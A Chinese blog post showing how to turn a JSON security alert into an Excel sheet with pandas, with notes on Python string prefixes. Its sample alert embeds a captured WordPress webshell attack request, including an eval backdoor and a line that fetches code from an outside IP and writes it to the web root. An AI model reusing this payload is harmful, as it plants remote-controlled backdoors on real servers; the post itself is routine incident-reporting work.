Python三行代码实现json转Excel

简介: 最近重保,经常需要通过Excel上报威胁事件。安全设备的告警很多都是json格式的,就需要将json转成Excel。用Python将json转成excel也就三行代码的事,先将json串导入形成字典对象,再通过pandas转成DataFrame直接输出excel。
+关注继续查看

最近重保,经常需要通过Excel上报威胁事件。安全设备的告警很多都是json格式的,就需要将json转成Excel。
用Python将json转成excel也就三行代码的事,先将json串导入形成字典对象,再通过pandas转成DataFrame直接输出excel。

实现如下:

一、引包
引入pandas包,pandas写excel依赖openpyxl包所以也到导入

pip install pandas 
pip install openpyxl

二、代码

import json
import pandas as pd
json_data=r'''
{
   "msg": "",
   "killChain": "02",
   "attackIllustration": "1起恶意盲打木马写入攻击",
   "traceSourceFlag": "01",
   "riskLevel": "02",
   "holeType": "",
   "discoveryTime": "2023-08-15 14:36:23",
   "disposalMeasure": "01",
   "informationSource": "长亭WAF",
   "disposalSuggestion": "建议封禁",
   "riskLevelPredue": "",
   "impactFlag": "02",
   "disposalOperateRecord": "WAF封禁",
   "serialNo": "ABC123",
   "sourceIpBelong": "美国",
   "potentialImpact": "无",
   "sourceIpType": "04",
   "protocalType": "HTTP",
   "disposalFlag": "01",
   "groupOrderType": "1",
   "comment": "通过微步溯源,IP归属地是美国",
   "attackDetail": "POST //wp-admin/css/colors/blue/blue.php?wall=ZWNobyBhRHJpdjQ7ZXZhbCgkX1BPU1RbJ3Z6J10pOw== HTTP/1.1\n\nHost: abcd.cn\n\nConnection: keep-alive\n\nAccept-Encoding: gzip, deflate\n\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n\nUser-Agent: Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36\n\nAccept-Language: en-US,en;q=0.9,fr;q=0.8\n\nCache-Control: max-age=0\n\nreferer: www.google.com\n\nUpgrade-Insecure-Requests: 1\n\nContent-Length: 231\n\nContent-Type: application/x-www-form-urlencoded\n\n\n\nvz=$x=fwrite(fopen($_SERVER['DOCUMENT_ROOT'].'/wp-admin/css/colors/blue/uploader.php','w+'),file_get_contents('http://51.79.124.111/vz.txt'));echo+\"aDriv4\".$x;",
   "taskId": "",
   "status": ""
}'''
dic_data = json.loads(json_data,strict=False)
df_data=pd.DataFrame(dic_data,index=[0])
df_data.to_excel('attack.xlsx')

效果:
json转excel
json转excel.png

三、注意事项
因为attackDetail字段有很多类似\n等的转义符,会导致json解析不成功,在json.loads的时候就会报错。报类似于
json.decoder.JSONDecodeError: Expecting ',' delimiter: line 50 column 149 (char 1339)的错误。所以需要在字符串前面加r标识来忽略掉转义机制。

常见的字符串标识u,r,b,f

字符串前加u
后面字符串以 Unicode格式进行编码,一般用在中文字符串前面,防止因为源码储存格式问题,导致再次使用时出现乱码。
字符串前加r
去掉反斜杠的转义机制。(特殊字符:即那些,反斜杠加上对应字母,表示对应的特殊含义的,比如最常见的”\n”表示换行,”\t”表示Tab等。 )
字符串前加b
b前缀表示:后面字符串是bytes 类型。
字符串前加f
以 f 开头表示在字符串内支持大括号内的python 表达式字符串拼接。
如:

name='xiejava'
outputstr=f'My name is {name}'
print(outputstr)

输出结果为:

My name is xiejava
目录
相关文章
|
3月前
|
JSON 关系型数据库 MySQL
pandas数据加载(csv、excel、json、mysql、webAPI)
数据的输入是数据分析的第一步,如果不能将数据快速方便的导入导出python,那么pandas不可能成为强大而高效的数据分析环境,本文重点介绍pandas的数据输入加载。
71 0
pandas数据加载(csv、excel、json、mysql、webAPI)
|
5月前
|
JSON 数据可视化 数据挖掘
python数据可视化开发(2):pandas读取Excel的数据格式处理(数据读取、指定列数据、DataFrame转json、数学运算、透视表运算输出)
python数据可视化开发(2):pandas读取Excel的数据格式处理(数据读取、指定列数据、DataFrame转json、数学运算、透视表运算输出)
103 0
|
5月前
|
JSON 前端开发 JavaScript
vue:前端json数据 导出excel(Export2Excel)
vue:前端json数据 导出excel(Export2Excel)
99 0
|
7月前
|
JSON 文字识别 API
ocr表格识别返回的json结果,转成excel,这个转化有对应的逻辑代码吗?
ocr表格识别返回的json结果,转成excel,这个转化有对应的逻辑代码吗?
270 0
|
10月前
|
JSON JavaScript 前端开发
自动把Excel转Json格式数据
在实际工作中,我们常常使用Excel记录各种数据,但在各种应用系统传输数据却使用JSON格式,这就需要把Excel转为JSON。如果能把数据转换传输过程自动化就更完美了。
233 1
自动把Excel转Json格式数据
|
11月前
|
JSON 程序员 C#
一个基于C#开发的Excel转Json工具
一个基于C#开发的Excel转Json工具,比通过Office Excel组件访问数据性能提升100倍,支持界面、命令模式。
148 0
一个基于C#开发的Excel转Json工具
|
JSON 缓存 搜索推荐
手写JAVA实现个性化业务的Excel转JSON,效率提高99.99%
由JSON数据的格式可以看出,每读取一个目录数据,都可以看成一个JSONObject,JSONObject有两个键值对,text代表目录的名字、children代表子目录。 一个父目录可以有多个子目录,所以children用的JSONArray去表示。
459 0
手写JAVA实现个性化业务的Excel转JSON,效率提高99.99%
|
JSON JavaScript 数据格式
VUE element-ui之jspreadsheet-ce在线表格数据json序列化(excel数据同步为相应key:value,并过滤掉为空的数据,未输入的行)
VUE element-ui之jspreadsheet-ce在线表格数据json序列化(excel数据同步为相应key:value,并过滤掉为空的数据,未输入的行)
369 0
VUE element-ui之jspreadsheet-ce在线表格数据json序列化(excel数据同步为相应key:value,并过滤掉为空的数据,未输入的行)
|
XML JSON 图形学
【Unity3D日常】使用Unity3D读取Json、XML、Excel文件
在日常开发中会遇到很多读取文件的操作,最常见的类型还是Json、txt、XML、Excel文件,那么今天就分享一下如何读取这几类文件
|
XML JSON 搜索推荐
SpringMVC:多视图[JSP,JSON,Excel,XML]混合输出__Java配置方式
SpringMVC:多视图[JSP,JSON,Excel,XML]混合输出__Java配置方式
134 0
推荐文章
更多